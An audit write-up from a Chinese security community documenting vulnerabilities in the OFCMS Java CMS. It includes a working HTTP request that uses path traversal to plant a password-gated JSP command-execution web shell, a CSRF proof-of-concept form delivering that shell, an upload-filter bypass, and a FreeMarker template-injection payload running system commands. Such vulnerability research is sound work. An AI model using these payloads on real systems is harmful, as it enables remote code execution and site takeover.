此文为原创文章
作者:p0desta@先知社区
恭喜作者获得
价值100元的天猫超市享淘卡一张
欢迎更多优质原创、翻译作者加入
ASRC文章奖励计划
欢迎多多投稿到先知社区
每天一篇优质技术好文
点滴积累促成质的飞跃
今天也要进步一点点呀
最近打算审一审web项目,毕竟复现一些java的经典漏洞和审计java web还是有些区别的,这次审计的项目地址: https://gitee.com/oufu/ofcms
审计时可以IDEA可以装上 FindBugs
还是有一些帮助的。
漏洞路径 /ofcms/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
public void save() { String resPath = getPara("res_path"); File pathFile = null; if("res".equals(resPath)){ pathFile = new File(SystemUtile.getSiteTemplateResourcePath()); }else { pathFile = new File(SystemUtile.getSiteTemplatePath()); } String dirName = getPara("dirs"); if (dirName != null) { pathFile = new File(pathFile, dirName); } String fileName = getPara("file_name"); String fileContent = getRequest().getParameter("file_content"); fileContent = fileContent.replace("<", "<").replace(">", ">"); File file = new File(pathFile, fileName); FileUtils.writeString(file, fileContent); rendSuccessJson(); }
这里可以看到没有任何限制,直接写入jsp代码。
POST /ofcms_admin_war/admin/cms/template/save.json HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 548 Connection: close Referer: http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res Cookie: JSESSIONID=D995760A2B3C721A91018D1729162B00 file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E
为什么要写到static目录下呢,看这里
/** * 请求后缀名处理 * * @author OF * @date 2017年11月24日 */ public class ActionHandler extends Handler { private String[] suffix = { ".html", ".jsp", ".json" }; public static final String exclusions = "static/"; // private String baseApi = "api"; public ActionHandler(String[] suffix) { super(); this.suffix = suffix; } public ActionHandler() { super(); } @Override public void handle(String target, HttpServletRequest request, HttpServletResponse response, boolean[] isHandled) { /** * 不包括 suffix 、以及api 地址的直接返回 */ /* * if (!isSuffix(target) && !"/".equals(target) && * !target.contains(baseApi)) { return; } */ //过虑静态文件 if(target.contains(exclusions)){ return; } target = isDisableAccess(target); BaseController.setRequestParams(); // RequestSupport.setLocalRequest(request); // RequestSupport.setRequestParams(); //JFinal.me().getAction(target,null); next.handle(target, request, response, isHandled); } private String isDisableAccess(String target) { for (int i = 0; i < suffix.length; i++) { String suffi = getSuffix(target); if (suffi.contains(suffix[i])) { return target.replace(suffi, ""); } } return target; } /* * private boolean isSuffix(String target) { for (int i = 0; i < * suffix.length; i++) { if (suffix[i].equalsIgnoreCase(getSuffix(target))) * { return true; } } return false; } */ public static String getSuffix(String fileName) { if (fileName != null && fileName.contains(".")) { return fileName.substring(fileName.lastIndexOf(".")); } return ""; } }
可以看到这里将 jsp、html、json
的后缀都为空了,但是如果是 /static
目录就直接 return
了,那么把shell写到这个目录下即可。
显然没有token做限制,当然也没有其他限制csrf咯
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost:8080/ofcms_admin_war/admin/cms/template/save.json" method="POST"> <input type="hidden" name="file path" value="" /> <input type="hidden" name="dirs" value=" " /> <input type="hidden" name="res path" value="res" /> <input type="hidden" name="file name" value=" upload shell2 jsp" /> <input type="hidden" name="file content" value="< if "p0desta" equals request getParameter "pwd" java io InputStream in Runtime getRuntime exec request getParameter "i" getInputStream int a 1 byte b new byte 2048 out print "<pre>" while a in read b 1 out println new String b out print "< pre>" >" /> <input type="submit" value="Submit request" /> </form> </body> </html>
@Clear public void upload() { try { UploadFile file = this.getFile("file", "image"); file.getFile().createNewFile(); Map<String, Object> data = new HashMap<String, Object>(); data.put("filePath", "/upload/image/" + file.getFileName()); data.put("fileName", file.getFileName()); rendSuccessJson(data); } catch (Exception e) { rendFailedJson(ErrorCode.get("9999")); } }
在 file.getFile().createNewFile();
,可以跟到
private boolean isSafeFile(UploadFile uploadFile) { String fileName = uploadFile.getFileName().trim().toLowerCase(); if (!fileName.endsWith(".jsp") && !fileName.endsWith(".jspx")) { return true; } else { uploadFile.getFile().delete(); return false; } }
限制了是否以指定后缀结束,但是这里可以利用windows的特性来绕过
但是我说这个洞为什么鸡肋呢,因为没办法跨目录上传,上传到image目录下是利用不了的,原因我上面说了,所以说它鸡肋。
通过看配置文件我们可以知道是使用了模板引擎 FreeMarker
,这个应该是java中比较经典的模板注入了,来看文章 http://drops.xmd5.com/static/drops/tips-8292.html
使用payload
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
更
多
精
彩
公众号ID
阿里安全响应中心